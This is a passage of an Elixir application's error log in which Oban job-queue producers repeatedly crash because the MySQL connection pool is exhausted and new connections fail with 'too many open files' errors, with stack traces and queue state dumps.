name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.33266>, refresh_timer: #Reference<0.2525715032.1077673987.33253>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:22:30.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 847ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:22:18.239317Z], limit: 50, uuid: "582d8565-2b6d-4f46-8388-c1a59d01efb9", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:22:18.239323Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.33268>, refresh_timer: #Reference<0.2525715032.1077673987.33230>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:22:30.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1002ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:22:18.239495Z], limit: 10, uuid: "a65dcd9f-5f61-4b73-861b-ca746a0d4d30", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:22:18.239500Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.33265>, refresh_timer: #Reference<0.2525715032.1077673987.33237>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:22:30.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 816ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:22:18.239763Z], limit: 3, uuid: "ce3c5134-ec91-4eea-9677-8f54bef6b1f8", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:22:18.239769Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.33269>, refresh_timer: #Reference<0.2525715032.1121189889.184727>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:22:30.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 863ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:22:18.241121Z], limit: 20, uuid: "42fc8012-2136-4e49-acf9-0eeaa41b659e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:22:18.241127Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.33270>, refresh_timer: #Reference<0.2525715032.1099431938.56530>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:22:34.221000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:22:35.864000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:22:36.584000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:22:36.897000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:22:38.385000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:22:42.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1090ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:22:30.241630Z], limit: 20, uuid: "d02ca663-c8ac-46c7-8763-75561abe7988", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:22:30.241637Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.56570>, refresh_timer: #Reference<0.2525715032.1068498948.56566>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:22:42.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1021ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:22:30.240048Z], limit: 10, uuid: "0bf7c3eb-b464-489e-9324-38706ee0a756", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:22:30.240056Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.56573>, refresh_timer: #Reference<0.2525715032.1099431938.56619>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:22:42.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1031ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:22:30.240235Z], limit: 3, uuid: "0b5b97f8-77ea-4e31-a4c4-7f6f43327860", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:22:30.240242Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.33592>, refresh_timer: #Reference<0.2525715032.1077673987.33579>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:22:42.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1022ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:22:30.239295Z], limit: 50, uuid: "503589db-3f8a-434d-a810-5d74b60023ce", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:22:30.239301Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.56572>, refresh_timer: #Reference<0.2525715032.1121189889.184901>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:22:42.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 874ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
